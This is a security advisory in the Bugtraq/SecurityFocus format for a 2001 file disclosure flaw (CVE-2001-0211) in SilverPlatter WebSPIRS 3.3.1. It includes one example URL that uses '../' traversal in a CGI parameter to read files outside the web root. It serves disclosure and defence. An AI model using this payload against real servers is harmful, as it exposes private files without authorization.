SilverPlatter WebSPIRS File Disclosure Vulnerability

Bugtraq ID:	2362
Class:	Input Validation Error
CVE:	CVE-2001-0211
Remote:	Yes
Local:	Yes
Published:	Feb 12 2001 12:00AM
Updated:	Jul 11 2009 04:46AM
Credit:	Discovered and posted to Bugtraq by <[email protected]> on Feb 12, 2001.
Vulnerable:	SilverPlatter WebSPIRS 3.3.1 - IBM AIX 4.3 - IBM AIX 4.3 - Linux kernel 2.3 - Linux kernel 2.3 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 - Sun Solaris 8_sparc
Not Vulnerable:	SilverPlatter WebSPIRS 4.2 - IBM AIX 4.3 - Linux kernel 2.3 - Linux kernel 2.3 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 - Sun Solaris 8_sparc - Sun Solaris 8_sparc

SilverPlatter WebSPIRS File Disclosure Vulnerability

A remote user could gain read access to known files outside of the root directory where SilverPlatter WebSPIRS resides. Requesting a specially crafted URL composed of '../' sequences along with the known filename will disclose the requested file.

SilverPlatter WebSPIRS File Disclosure Vulnerability

The following example has been provided by <[email protected]>:

www.target.com/cgi-bin/webspirs.cgi?sp.nextform=../../../../../../path/to/file

SilverPlatter WebSPIRS File Disclosure Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

SilverPlatter WebSPIRS File Disclosure Vulnerability

References:

• WebSPIRS Product Homepage (SilverPlatter)